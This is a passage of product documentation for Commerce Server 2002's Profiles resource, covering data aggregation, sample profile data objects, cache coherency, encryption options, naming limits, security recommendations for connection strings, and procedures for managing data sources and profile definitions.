To aggregate profile data, you must create a profile data object to which you can map a profile property. When using multiple data sources in a profile definition, it is necessary to create a join key that maps to both sources. One unique key property must be flagged as a join key when you aggregate profile data. To flag one unique key property as a join key, you set the IsJoinKey attribute on the property to true. A join key property is stored in all of the data stores and is used by the data store aggregation layer to optimize operations across data stores.

Notes

  • If you use an existing Active Directory domain, and you want to aggregate a SQL profile, you must edit the profile definition to define the aggregation, and pre-populate the UserObject table with the following:
    • Active Directory join key = cn
    • SQL join key = Logon_name
  • When you aggregate data in an Active Directory database and a SQL Server database, if you need to delete existing users, you must use Commerce Server Manager or Commerce Server Business Desk.

See Also

SQL Views for Data Store Aggregation

Creating a Profile Definition with Two Data Sources


SQL Views for Data Store Aggregation

Commerce Server Manager includes SQL Views as part of data source discovery, in addition to displaying SQL Server tables for data store aggregation. SQL Views support tables that have a composite primary key (that is, the primary key is made up of multiple columns).

SQL Views aggregate data from multiple tables and then display a view that represents a single table on which you can define a profile.

The workflow for defining profiles by using views is the same as configuring profiles by using SQL Server tables.

Implementing views that define profiles requires the support of "Instead triggers." You use "Instead triggers" to translate Profile Service and ActiveX Data Objects (ADO) query operations into necessary actions on the tables that are aggregated by the view.

For information about configuring views and defining triggers, see SQL Server Books Online.

See Also

Profile Data Aggregation


Sample Profile Data Sources

When you unpack a Solution Site, Commerce Server adds a sample data source, named ProfileService_SQLSource, to the Profiles resource. The ProfileService_SQLSource data source provides you with the Address, BlanketPOs, Organization, and User Object sample data objects. This section contains information about the following objects:

  • Address Sample Data Object
  • BlanketPOs Sample Data Object
  • Organization Sample Data Object
  • User Object Sample Data Object


Address Sample Data Object

The following table lists the data members available in the Address data object.

Name | Data type
g_address_id | String
g_id | String
i_address_type | Number
u_address_name | String
u_first_name | String
u_last_name | String
u_description | String
u_address_line1 | String
u_address_line2 | String
u_city | String
u_region_code | String
u_region_name | String
u_postal_code | String
u_country_code | String
u_country_name | String
u_tel_number | String
u_tel_extension | String
i_locale | Number
u_user_id_changed by | String
d_date_last_changed | DateTime
d_date_created | DateTime


BlanketPOs Sample Data Object

The following table lists the data members available in the BlanketPOs data object.

Name | Data type
g_org_id | String
g_po_id | String
u_po_number | String
u_description | String
g_user_id_changed_by | String
d_date_last_changed | DateTime
d_date_created | DateTime


Organization Sample Data Object

The following table lists the data members available in the Organization data object.

Name | Data type
g_org_id | String
u_name | String
u_trading_partner_number | String
g_user_id_admin_contact | String
g_user_id_receiver | String
u_org_catalog_set | String
g_user_id_changed_by | String
g_user_purchasing_manager | String
d_date_last_changed | DateTime
d_date_created | DateTime


User Object Sample Data Object

The following table lists the data members available in the User Object data object.

Name | Data type
g_user_id | String
g_org_id | String
u_user_title | String
i_user_type | Number
u_first_name | String
u_last_name | String
u_email_address | String
u_tel_number | String
u_tel_extension | String
u_fax_number | String
u_fax_extension | String
u_logon_name | String
u_user_security_password | String
g_user_id_changed_by | String
i_account_status | Number
u_user_catalog_set | String
d_date_registered | DateTime
u_campaign_history | String
i_partner_desk_role | Number
d_date_last_changed | DateTime
d_date_created | DateTime
u_pref1 | String
u_pref2 | String
u_pref3 | String
u_pref4 | String
u_pref5 | String

Note

  • The u_pref data members are provided so that you can add properties to the User Object profile definition without extending your database. You can customize these data members.

The ProfileService_SQLSource data source maps to sample profile definitions that are added by default to the Profiles resource and Commerce Server Business Desk.

See Also

Profile Definitions

Sample Profile Definitions

Creating a New Data Source in the Profiles Resource

Adding a New Data Object in the Profiles Resource

Adding a New Data Member in the Profiles Resource

Managing Data Sources in the Profiles Resource

Profiles Schema


Profile Cache Coherency

The Retail Solution Site uses a timestamp to detect an updated profile when a user is bounced to another Web server with cached information. The Web server checks the timestamp against the cached profile; if the timestamp is new (that is, the cache is old) the page does an explicit database roundtrip.

In a Web farm scenario, each server provides a local profile cache. The value of the user's profile (UserObject profile) in a particular cache can become outdated if the profile was changed on a different server. To help the server recognize that the user's profile has changed, a last updated timestamp is set in both the user's profile (in the Profiles store) and in a cookie for the user, when the profile is created and updated (UpdateUserProfile).

When a user visits a server in the Web farm, the timestamp in the profile in the local cache is checked against the timestamp in the cookie (GetCurrentUserProfile). If they are not equal, the profile is retrieved from the Profiles store (using the GetInfo method of the IADs interface), bypassing the local cache. If cookies are not enabled, the cache is always bypassed, because there is no reliable way to track the last updated time due to issues with using the Back button and page refresh.

The lookup of Address profiles always bypasses the cache because they are accessed infrequently and there are potentially a large number of profiles to track. Organization profile lookups bypass the cache on an as-needed basis depending on how likely it is that the data in the profile will need to be changed.

Even with the timestamp solution, there are potential cache coherency issues with the profiles. For example, if a user's profile, which is currently cached, is changed from the Business Desk or Partner Desk on a different computer by a different user, the sites will not know that the cache is out of date. To mitigate this, the Solution Sites call the GetInfo method upon login.

If this level of accuracy is not acceptable, the Solution Sites include the m_iGlobalProfileLookUpOption variable, declared in the file include\setupenv.asp, which when set always forces a GetInfo method call to retrieve the profile from the Profiles store.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.


Encrypted Profile Properties

Commerce Server supports two types of encryption: asymmetric encryption (AE), and one-way hashing. Commerce Server 2002 does not support symmetric encryption.

Important

  • Commerce Server does not include a key management system. You must design and create a key management system that can generate, store, and retrieve public and private keys for use in encryption.

Asymmetric Encryption

Asymmetric encryption is used for data that needs to be decrypted later. This encryption scheme uses a pair of keys for encryption: the public key encrypts data, and a corresponding secret key, the private key, decrypts it.

To use asymmetric encryption, you normally perform these steps:

  • Use Business Desk to add profile properties that can be encrypted.
  • Generate public and private keys.
  • Modify the application code to:
    • Supply the tokens used in the encryption process to the Profile Service and Commerce Server OLE DB Provider
    • Encrypt properties
    • Decrypt properties
  • Migrate data to a new public/private key pair.

One-way Hashing

One-way hashing is used for hiding data, or for encrypting data that you do not need to decrypt. Example data that would be subject to one-way hashing is a user password. Commerce Server 2002 uses a "salt" with the user data to hash it. The salt is a 32-bit random number that is prefixed to the user data before performing the hash.

See Also

Adding Encrypted Properties to the Profile Service

Generating a New Cookie Encryption Key


Profiles Name and Size Restrictions

This topic lists the name and size restrictions for the Profiles resource.

Profiles

Profile Object Name and Size Restriction
Name
  • Can be up to 127 characters long. Names that are longer than 57 characters long will not be exported to the Data Warehouse.
  • Characters must be alphanumeric.
  • Can include the underscore (_).
  • Cannot contain spaces.
  • Cannot use "User" as an object name; it is a reserved word in SQL.
Display Name
  • Can be up to 127 characters long.
  • Characters must be Unicode.
Description
  • Can be up to 127 characters long.
  • Characters must be Unicode.

Notes

  • The sum of the character lengths of the data source name, data object name, and the profile name must be less than 110 characters.
  • You can change the display name of a data source, a data object, a data member, or a profile definition.
You cannot change the programmatic name of a data source, a data object, a data member, or a profile definition.

Site Term Groups and Site Terms

Site Term Object Name and Size Restriction
Name
  • Can be up to 127 characters long.
  • Characters must be alphanumeric.
  • Can contain the underscore (_) symbol.
  • Cannot contain spaces.
Display Name
  • Can be up to 127 characters long.
  • Characters must be Unicode.
Description
  • Can be up to 127 characters long.
  • Characters must be Unicode.

Terms (Values)

Term Object Name and Size Restriction
Term Name
  • Can be up to 127 characters long.
  • Must be alphanumeric.
  • Can contain the underscore (_) symbol.
  • Cannot contain spaces, punctuation, and the use of the double-byte character set format.
Display Name
  • Can be up to 127 characters long.
  • Characters must be Unicode.


Best Practices for Profiles

This topic lists the best practices for creating and managing your profiles in the Commerce Server Profiles resource.

  • Use the following minimum permissions for the Profile service_ADsource connection string to the Active Directory:
    • Domain user in the domain
    • Create, Delete, Read, and Reset Password on the base URL Organizational Unit

    If you are not using an account that has permission to create the base URL Organization Unit, then you must manually create the base URL Organization Unit before unpacking the site.

    If you change the connection string for the global resource ADsource to a normal user with delegated permissions (full control) to the SupplierAD container, users can be created using the Business Desk, but organizations cannot be created. The NTSecurityDescriptor, required to create organizations, is not returned unless the user is an administrator, or a member of Domain Administrator, or has the "Manage Auditing and Security Log" security policy applied.

  • To store a profile in Active Directory, the profile must include the properties cn and SAMAccountname for the out-of-the-box user profile.

    These minimum properties are required to satisfy Active Directory constraints. Other properties might be required depending on the profile definition type.

  • Use embedded profiles to associate profile data.

    If you want to store multiple addresses for each user, add a property for each address to the user profile definition (such as billing address, shipping address1, shipping address2, and so on). Define the type of each of these properties as profile, and then associate each property with an instance of the address profile definition. This enables you to use the Profile Service to retrieve the addresses (by address ID) and to take advantage of the Profile Service cache to speed the retrieval of the specified address. Additionally, this method enables you to avoid using CSOLEDB altogether on the site. By not using CSOLEDB on the site, you reduce the memory footprint of your process, and free up some database connections.

    For information about embedding profiles, see Embedding a Profile Definition.

  • Publish profile changes to your Web site on off-peak hours.

    If you publish profile changes to your Web site during high usage, you will bring down your site.

  • Use Business Desk to import selected profile properties to Data Warehouse.

    Use Business Desk to select the profile properties that will be imported into the Data Warehouse. For more information, see Specifying Data to be Imported into the Data Warehouse and Importing Cookies.

  • Use the Profile data import Data Transformation Services (DTS) task to import profile data into the Data Warehouse.

    Address profiles are stored in the Addresses table in the Commerce Server database. By default, the Addresses table (source) is mapped to the Address class (destination) in the Data Warehouse.

    UserObject profiles are stored in the UserObject table in the Commerce Server database. By default, the UserObject table (source) is mapped to the RegisteredUser class (destination) in the Data Warehouse.

    For detailed information about how the Address and UserObject profiles map to columns in the Data Warehouse, see ETL Process for the Profile Data Import DTS Task.

  • To view all the site terms your site currently uses, run the SiteTerms.vbs script, available in the Microsoft Commerce Server 2000 Resource Kit.

    Commerce Server 2002 provides the BusinessDataAdmin2::GetSiteTerms Method API to retrieve site terms from the profile catalog.


Configuring the Profiles Resource Connection String

You can use Commerce Server Manager to change the Profiles resource connection string. The Profiles resource connection string is set during the unpacking process and is stored in the Administration database.

Note

  • All connection strings in the Profiles resource are updated when any one string is changed.

To change the Profiles resource connection string

  1. Expand Commerce Server Manager, expand Global Resources, right-click Profiles (<server name_database name>), and then click Properties.
  2. In the Profiles (<server name_database name>) Properties dialog box, on the Connection Strings tab, select the connection string you want to change, and then click Modify.
  3. In the Data Link Properties dialog box, on the Connection tab, do the following:
    Use this | To do this
    Select or enter a server name | Select a server name from the drop-down list, or type the location of the server where the database you want to access is located.
    Refresh | Click to refresh the server list.
    Use Windows NT integrated security Select this option to specify that the provider request a secure (or trusted) connection to a SQL Server running on Microsoft Windows NT.

    This is the recommended configuration for a secure site.
    Use a specified user name and password Select this option to specify a user name and password to authenticate your logon information to the data source.

    This option is not recommended for a secure site.
    User Name Type the user ID to use for authentication when you log on to the data source.

    This is not recommended.
    Password Type the password to use for authentication when you log on to the data source.

    This option is not recommended for a secure site.
    Blank password | Select this option to enable the specified provider to return a blank password in the connection string.
    Allow saving password Select this option to allow the password to be saved with the connection string. Whether the password is included in the connection string depends on the functionality of the calling application. If the password is saved, it is returned and saved unmasked and unencrypted.

    This option is not recommended for a secure site.
    Select the database on the server | Select this option to type the database name that you are mapping the data source to, or select the database name from the drop-down list.
    Attach a database file as a database name | Do not use this option. Commerce Server does not support SQL Server version 6.5 or earlier.
    Using the filename | Do not use this option. Commerce Server does not support SQL Server version 6.5 or earlier.
    Test Connection | Click to connect to the specified data source. If the connection fails, verify that the settings are correct. Spelling errors and case sensitivity can cause failed connections.
  4. To return to the Profiles (<server name_database name>) Properties dialog box, click OK.
  5. To save your changes and return to the Property screen page, click OK.

The connection string changes are applied to the Profiles resource.

See Also

About the Profiles Resource

Security Risk: Using SQL Authentication for the Profiles Resource


Security Risk: Using SQL Authentication for the Profiles Resource

When you use the Profiles resource in Commerce Server Manager to connect to a profile definition stored on a remote computer, the remote computer returns the contents of the ConnStr field of the SourceDef table in clear text. These contents are the connection strings to data sources where profile data is stored. This is a security vulnerability. Anyone monitoring network traffic would be able to access these connection strings and get sensitive profile data.

To secure the connection strings to the Profiles database, you have two options:

  • Configure the Profiles resource to use Windows Integrated Security. This is the recommended configuration.
  • If you must use SQL Authentication, deploy encryption on the named pipes: use IPSec authentication, enable Secure Sockets Layer (SSL) encryption, and enable multiprotocol client encryption. For instructions, see SQL Server Books Online.


Managing Data Sources in the Profiles Resource

You use the Profiles resource to modify the data sources you created. For example, you make changes in the data store that your profile properties map when you need to edit or delete obsolete data objects and data members. Or, you use the Profiles resource when you create a new data source and want to delete the old one. You can change and delete data sources, data objects, and data members.

Consider the following restrictions on modifying your data sources:

  • You can add partitions only to a data source that has never been partitioned. You must add partitions to a source before you use it to store data. If you partition a source that contains data, the existing data will be lost.
  • You cannot delete data source partitions, but you can modify them. You must be careful when you modify the partitions of a data source that contains data, because changes can result in data loss or corruption.
  • When you delete a data source, you cannot recover it. All of the data objects and data members associated with the data source are also deleted. You must re-map the profile definitions mapped with the deleted data members to the data storage with existing data members.
  • When you delete a data object, you cannot recover it. All of the data members associated with the deleted data object are also deleted. You must re-map the profile definitions mapped with the deleted data members to the data storage with existing data members.
  • When you delete a data member, you cannot recover it. You must re-map the profile definitions mapped with the deleted data member to the data storage with an existing data member.

This section includes:

  • Creating a New Data Source in the Profiles Resource
  • Adding a Custom Attribute to a Data Source
  • Changing a Data Source
  • Adding a New Data Object in the Profiles Resource
  • Changing a Data Object
  • Adding a New Data Member in the Profiles Resource
  • Changing a Data Member


Creating a New Data Source in the Profiles Resource

You use the Profiles resource to add new data sources for storing profile data. You use profile data source partitions to map profile data to your data stores. Data stores can be OLE DB databases or Lightweight Directory Access Protocol (LDAP) sources.

You use a data source to map profile definitions to a database or LDAP source. You can partition the data source to map profile definitions to multiple data stores. You must create a database or an LDAP source before you can create a data source. The Profiles resource does not modify the underlying data store. You must make any schema changes directly to the database or to the LDAP store.

The following information is important to remember when you create a data source:

  • You must create at least one partition when you create a new data source.
  • All of the partitions in a single data source must be of the same type (OLE DB databases or LDAP sources).
  • All of the data storage devices (OLE DB databases or LDAP sources) that are mapped to a single data source must have identical schemas.
  • Commerce Server data sources support a maximum of 128 total partitions.
  • You cannot delete partitions from a data source. If you need to delete partitions from a data source, you must delete the data source and create a new one without the partitions.
  • You must identify one partition in a data source as the default partition.

This section contains:

  • OLE DB Drivers Not Supported by Profiles Resource
  • Creating a New Data Source with a SQL Server Database Partition
  • Creating a New Data Source with an LDAPv3-Compliant Source Partition


OLE DB Drivers Not Supported by Profiles Resource

When you create a new profiles data source, you must specify the OLE DB Provider. Some OLE DB drivers listed in the Data Link Properties dialog box are not supported by the Profiles resource. Do not use the following drivers:

  • Microsoft OLE DB Provider for DTS Packages
  • Microsoft OLE DB Provider for Indexing Services
  • Microsoft OLE DB Provider for Internet Publishing
  • Microsoft OLE DB Simple Packages
  • Microsoft OLE DB Provider for Microsoft Site Server Search
  • Microsoft OLE DB Provider for Commerce Server

If you select any of these drivers in the Data Link Properties dialog box, a Microsoft Data Link error message may appear stating that the provider is no longer available.


Creating a New Data Source with a SQL Server Database Partition

You can create a new data source with has a SQL Server database partition.

To create a new data source with a SQL Server database partition

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles (<server name_database name>), expand Profile Catalog, right-click Data Sources, and then click New Data Source.
  2. In the New Data Source dialog box, do the following:
    Use this | To do this
    Name | Type the programmatic name of the data source. The name can contain a maximum of 127 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display Name | Type the name you want displayed for the data source. The display name can contain a maximum of 127 Unicode characters.
    Description | Type a description for the data source. The description can contain a maximum of 127 Unicode characters.
  3. Click Next.
  4. In the Data Source dialog box, in the Source Type drop-down list, select OLEDB-ANSI Provider, and then click Next.
  5. In the Partitions dialog box, select Partitioned Data Source to partition the data source, and then click Add.
  6. In the Partition dialog box, click Edit.
  7. In the Data Link Properties dialog box, on the Provider tab, select Microsoft OLE DB Provider for SQL Server as the provider for your data source, and then click Next.
  8. In the Data Link Properties dialog box, on the Connection tab, do the following:
    Use this | To do this
    Select or enter a server name | Select a server name from the drop-down list, or type the location of the server where the database you want to access is located.
    Refresh | Click to refresh the server list.
    Use Windows NT integrated security | Select this option to specify that the provider request a secure (or trusted) connection to a SQL Server running on Microsoft Windows NT.
    Use a specified user name and password | Select this option to supply a user name and password to authenticate your logon information to the data source.
    User Name | Type the user ID to use for authentication when you log on to the data source.
    Password | Type the password to use for authentication when you log on to the data source.
    Blank password | Select this option to enable the specified provider to return a blank password in the connection string.
    Allow saving password | Select this option to allow the password to be saved with the connection string. The functionality of the calling application determines whether the password is included in the connection string. If the password is saved, it is returned and saved unmasked and unencrypted.
    Select the database on the server | Select this option to type the database name that you are mapping the data source to, or select the database name from the drop-down list.
    Attach a database file as a database name | Do not use this option. Commerce Server does not support Microsoft SQL Server version 6.5 or earlier.
    Using the filename | Do not use this option. Commerce Server does not support SQL Server version 6.5 or earlier.
    Test Connection | Click to attempt a connection to the specified data source. If the connection fails, verify that the settings are correct. Spelling errors and case sensitivity can cause failed connections.
  9. To return to the Partition dialog box, click OK.
  10. In the Partition dialog box, in the Partition Name box, type the name of the partition. To designate this partition as the default partition, click Default Partition, and then click Next.
  11. To return to the Partitions dialog box, click Finish.
  12. To open the Custom Attributes dialog box, click Next.
  13. Click Finish to close the dialog box. If you want to add custom attributes to the data source, see Adding a Custom Attribute to a Data Source.

The data source is saved. You can now add partitions, custom attributes, and data objects to the data source.


Creating a New Data Source with an LDAPv3-Compliant Source Partition

You can create a new data source with an LDAPv3-compliant source partition.

To create a new data source with an LDAPv3-Compliant Source partition

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles (<Server name_database name>), expand Profile Catalog, right-click Data Sources, and then click New Data Source.
  2. In the New Data Source dialog box, do the following:
    Use this | To do this
    Name | Type the programmatic name of the data source. The name can contain a maximum of 127 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display Name | Type the name you want displayed for the data source. The display name can contain a maximum of 127 Unicode characters.
    Description | Type a description for the data source. The description can contain a maximum of 127 Unicode characters.
  3. Click Next.
  4. In the Data Source dialog box, in the Source Type drop-down list, select LDAPv3 Compliant Source, and then click Next.
  5. In the Partitions dialog box, click Partitioned Data Source to partition the data source, and then click Add.
  6. In the Partition dialog box, click Edit.
  7. In the LDAP Connection String dialog box, do the following:
    Use this | To do this
    Server | Type the server name where the LDAP source is located.
    Port | Type the port name. The default port is 389.
  8. To return to the Partition dialog box, click OK.
  9. In the Partition dialog box, do the following:
    Use this | To do this
    Default Partition | Select to designate this partition as the default partition.
    User Name | Type the user name you use to access the LDAP source. If you are using an Active Directory server, type the user name in the form domain\username.
    Password | Type the password you use to access the LDAP source.
  10. To open the System Attributes dialog box, click Next.
  11. In the System Attributes dialog box, do the following:
    Use this | To do this
    Parent URL | Type the location in the LDAP directory tree where you want your data to be stored.
    Use the same credentials for all users | Select this option to specify that the Profiles resource always uses the same credentials when binding to LDAP sources. If this option is not selected, the Profiles resource will use the credentials of the current user.
    Allow Simple Bind | Select this option to send the password in clear text. This option is less secure, but is required by some directory services.
    Dynamic Container | Select this option to connect to a dynamic store, such as Internet Locator Service (ILS).
    One-Level | Select this option to set the default search scope to the current directory.
    Sub-Tree | Select this option to set the default search scope to the current directory and sub-directories.
    Domain Name | Type the domain name of the server if you are using Active Directory.
    Discover | Click to find the domain name.
  12. Click Next.
  13. To return to the Partition dialog box, click OK.
  14. Click Finish to close the dialog box.

The data source is saved. You can now add partitions, custom attributes, and data objects to the data source.

See Also

Adding a Custom Attribute to a Data Source

About the Profiles Resource

Adding a New Data Object in the Profiles Resource

Adding a New Data Member in the Profiles Resource

Managing Data Sources in the Profiles Resource


Adding a Custom Attribute to a Data Source

You use the Profiles resource to add custom attributes to a data source partition. Custom attributes are application specific.

Typically, the attributes that are common to all profile definitions or data stores are stored in the ClassDef or SourceDef table. However, there might be specific attributes that apply only to certain selected data source objects.

For example, you can create a custom attribute to maintain the sort order of data sources or partitions on a data source, or to help you maintain consistency with other objects, such as member definition and source definition objects.

Data source custom attributes are available only within the Profiles resource; you cannot add them using the Business Desk Profiles modules.

To add a custom attribute to a data source partition

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles (<server name_database name>), expand Profile Catalog, expand Data Sources, right-click the data source that contains the partition to which you want to add a custom attribute, and then click Properties.
  2. In the <data source> Properties dialog box, on the Partitions tab, select the partition to which you want to add a custom attribute, and then click Edit.
  3. In the Properties dialog box, on the Custom Attributes tab, click New to add attributes to the data source.
  4. In the Custom Attribute dialog box, do the following:
    Use this | To do this
    Name | Type a programmatic name for the attribute. The name can contain a maximum of 127 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display Name | Type the name you want displayed for the attribute. The display name can contain a maximum of 127 Unicode characters.
    Description | Type a description for the attribute. The description can contain a maximum of 127 Unicode characters.
    Value | Type a value for the attribute.
  5. To save the custom attribute, click OK.
  6. To save the partition information, click OK.
  7. To return to Commerce Server Manager, click OK.

The data source is saved with the custom attribute.

For information about data source custom attributes, see Custom Attributes for Profile Data Source Partitions.


Changing a Data Source

You use the Profiles resource to change the properties of a data source.

You can change the following properties of a data source:

  • Display name
  • Description

If you want to change the programmatic name of the data source, you must delete and then recreate the data source with the new programmatic name.

To change the display name of properties of a data source

To delete a data source

To change the display name of properties of a data source

Note

  • You can change the display name of a data source; however, you cannot change the programmatic name of a data source.
  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Data Sources, right-click the data source you want to change, and then click Properties.
  2. In the <data source> Properties dialog box, on the General tab, do the following:
    Use this | To do this
    Display Name | Edit the name for the data source. The display name can contain a maximum of 127 Unicode characters.
    Description | Edit the description for the data source. The description can contain a maximum of 127 Unicode characters.
  3. To save your changes and return to Commerce Server Manager, click OK.

The data source is saved with your changes. You can change the connection string of an existing partition, or add a new partition that is the same type as the data source (LDAP or OLE DB).

To add a new partition or edit an existing partition for an OLE DB-ANSI Provider, see To create a new data source with a SQL Server database partition. To add a new partition or edit an existing partition for an LDAPv3-Compliant Source, see To create a new data source with an LDAPv3-Compliant Source partition.

To delete a data source

Caution

  • You cannot recover a data source after you delete it.
  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Data Sources, right-click the data source you want to delete, and then click Delete.
  2. In the Delete Data Source confirmation dialog box, click Yes.

The data source, all of its data objects, and all of its data members are deleted.


Adding a New Data Object in the Profiles Resource

You use the Profiles resource to add a data object to a data source. You select the table in the database (or the class in the LDAP source) that contains the column where you want to store the data collected for a property in a profile definition.

Before you use the Profiles resource to create a data object, you must create a data source. The Profiles resource will not modify the underlying data store. You must make any changes directly to the database or to the LDAP store. In addition, you must include a data member that is a primary key for the data object.

To add a new data object

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Data Sources, expand the data source to which you are adding a data object, right-click Data Objects, and then click New Data Object.
  2. In the New Data Object dialog box, do the following:
    Use this | To do this
    Object Name Select the data object from the drop-down list that is the name of a table or an LDAP class in the underlying data store.

    Important

    You must include a data member that is a primary key for the data object with which to map profile properties before you create a new profile of that type.
    Display Name | Type the name you want displayed for the data object. The display name can contain a maximum of 127 Unicode characters.
    Description | Type a description for the data object. The description can contain a maximum of 127 Unicode characters.
  3. Click OK.

The data object is saved. You can add data members to it and you can use it to map a profile definition to a database column (or an LDAP class).

See Also

About the Profiles Resource

Creating a New Data Source in the Profiles Resource

Adding a New Data Member in the Profiles Resource

Managing Data Sources in the Profiles Resource


Changing a Data Object

You use the Profiles resource to change the following properties of a data object:

  • Display name
  • Description

If you want to change the programmatic name of the data object, you must delete and then recreate the data object with the new programmatic name.

To change the display name and description of a data object

To delete a data object

To change the display name and description of a data object

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Data Sources, expand the data source that contains the data object you want to change, expand Data Objects, right-click the data object you want to change, and then click Properties.
  2. In the <data object> Properties dialog box, on the Identity tab, do the following:
    Use this | To do this
    Display Name | Edit the name for the data object. The display name can contain a maximum of 127 Unicode characters.
    Description | Edit the description for the data object. The description can contain a maximum of 127 Unicode characters.
  3. Click OK.

The display name and description of the data object are changed.

Note

  • You can change the display name of a data object; however, you cannot change the programmatic name of a data object.

To delete a data object

Caution

  • You cannot recover a data object after you delete it.
  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Data Sources, expand the data source that contains the data object you want to delete, expand Data Objects, right-click the data object you want to delete, and then click Delete.
  2. In the Delete Data Object confirmation dialog box, click Yes.

The data object is deleted from the data source.


Adding a New Data Member in the Profiles Resource

You use the Profiles resource to add a data member to a data object by selecting the column in an exposed table of the database (or the attribute in an exposed class of the LDAP source) where you want to store the data collected for a property in a profile definition.

When you define a property in a profile definition, you map the property with the data member to the column in a database table (or attribute in an LDAP class) that it exposes. When a user enters data into a property in a profile definition on your Web site, the data the user enters is stored in the designated database column or LDAP attribute. The Profiles resource does not modify the underlying data store. You must make any changes directly to the database or to the LDAP store. In addition, make sure there is a data member that is a primary key.

Note

  • Commerce Server 2002 supports only Unicode strings. Non-Unicode strings are not supported.

To add a data member

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Data Sources, expand the data source that contains the data object to which you want to add a data member, expand Data Objects, right-click the data object you want to add a data member to, and then click New Data Member.
  2. In the New Data Member dialog box, do the following:
    Use this | To do this
    Member Name Select an available data member name from the list. Unavailable data members have already been added to a data object and appear dimmed. The data members in the list have the same names as the columns or LDAP attributes in the underlying data store to which they map.

    To add additional data members, (or if there are no available data members in the list) you must create a new column or attribute in the underlying data store. The member name must match the name of the column or attribute to which the data member maps. The member name can contain a maximum of 127 alphanumeric characters and the underscore (_) symbol. The member name cannot contain spaces.
    Display Name | Type the name you want displayed in the application for the data member. The display name can contain a maximum of 127 Unicode characters.
    Description | Type a description for the data member. The description can contain a maximum of 127 Unicode characters.
    Type Select the data type for the data member. The data type must be the same as the property that you will map with the data member. The following data types are supported:
    • Binary
    • Boolean
    • Currency
    • DateTime
    • Number
    • String
    Multi-valued | Select this option to enable the collection of multiple values that are associated with the data member.
    Required | Specifies that this property is required on your Web site and in Commerce Server Business Desk. However, this attribute is not enforced by the Profiles resource.
    Indexed | Select this option if the data will be indexed on this data member.
    Primary key Select this option to designate this data member as the primary key.

    Important

    • You must select one data member in each data object to be the primary key.
  3. Click Add. The data member appears in the data member list in the New Data Member dialog box.
  4. Click Finish.

The data member appears in the data member screen.

See Also

About the Profiles Resource

Configuring the Profiles Resource

Creating a Profile Definition in the Profiles Resource

Creating a Profile Definition with Two Data Sources

Managing Data Sources in the Profiles Resource


Changing a Data Member

You use the Profiles resource to change the following properties of a data member:

  • Display name
  • Description

To change the programmatic name of the data member, you must delete the data member and then recreate it with the new programmatic name.

To change the display name and description of a data member

To delete a data member

To change the display name and description of a data member

Note

  • You can change the display name of a data member; however, you cannot change the programmatic name of a data member.
  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Data Sources, expand the data source that contains the data object that contains the data member you want to change, expand Data Objects, and then click the data object that contains the data member you want to change.
  2. In the data member list, right-click the data member you want to change, and then click Properties.
  3. In the <data member> Properties dialog box, on the General tab, do the following:
    Use this | To do this
    Display Name | Edit the name for the data member. The display name can contain a maximum of 127 Unicode characters.
    Description | Edit the description for the data member. The description can contain a maximum of 127 Unicode characters.
  4. Click OK.

To delete a data member

Caution

  • You cannot recover a data member after you delete it.
  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Data Sources, expand the data source that contains the data object that contains the data member you want to delete, expand Data Objects, and then click the data object that contains the data member you want to delete.
  2. In the data member list, right-click the data member you want to delete, and then click Delete.
  3. In the Delete Data Member confirmation dialog box, click Yes.

The data member is deleted from the data source.

See Also

About the Profiles Resource

Creating a New Data Source in the Profiles Resource

Adding a New Data Object in the Profiles Resource

Adding a New Data Member in the Profiles Resource

Creating a Profile Definition with Two Data Sources


Managing Profile Definitions in the Profiles Resource

You can use the Profiles resource to change the display name and description for a profile definition and to add custom attributes to a profile definition. To create a new profile definition, you can copy an existing profile definition and use the profile designer screen to change the name and attributes of the new profile definition.

Commerce Server 2002 provides you with several profile definitions when you unpack the Blank Solution Site. You can copy to create new profile definitions to suit your needs. You can also delete a profile definition that no longer meets your needs, and delete a custom attribute from a profile definition. You cannot recover a custom attribute after you have deleted it; if you delete a custom attribute by mistake, you must recreate it.

This section contains:

  • Creating a Profile Definition in the Profiles Resource
  • Adding a Custom Attribute to a Profile Definition
  • Validating Profile Definitions in the Profiles Resource
  • Embedding a Profile Definition in the Profiles Resource
  • Creating a Profile Definition with Two Data Sources

See Also

About the Profiles Resource

Adding a New Profile Definition in the Profiles Resource


Creating a Profile Definition in the Profiles Resource

You use the Profiles resource to create new profile definitions. For example, the business manager may ask you to create a new profile definition to make additional data available from your Web site and Commerce Server Business Desk. You can create a profile definition that is automatically mapped to a data object. You can also create a profile definition that is not mapped to a data object. You use profile definitions to define the data that you collect about users who visit your Web site.

You can create custom attributes for a profile definition. For example, you can add a custom attribute called defaultParentURL that controls where profiles are stored in the underlying Lightweight Directory Access Protocol (LDAP) store. For information about adding custom attributes for a profile definition, see Adding a Custom Attribute to a Profile Definition.

To add a new profile definition that is mapped to a data object

To add a new profile definition that is not mapped to a data object

To add a new profile definition that is mapped to a data object

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Data Sources, expand the data source that contains the data object that you want to map the new profile definition with, and then expand Data Objects.
  2. Right-click the data object the new profile definition will be mapped with, and then click New Profile Definition.
    Important
    • A primary key data member must exist on the data object to be mapped, or it will not map correctly.
  3. In the New Profile Definition dialog box, do the following:
    Use this | To do this
    Name | Type a programmatic name for the new profile definition. The name can contain a maximum of 127 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display Name | Type the name you want displayed for the new profile definition. The display name can contain a maximum of 127 Unicode characters.
    Description | Type a description for the new profile definition. The description can contain a maximum of 127 Unicode characters.
  4. Click Next to open the Custom Attributes dialog box.
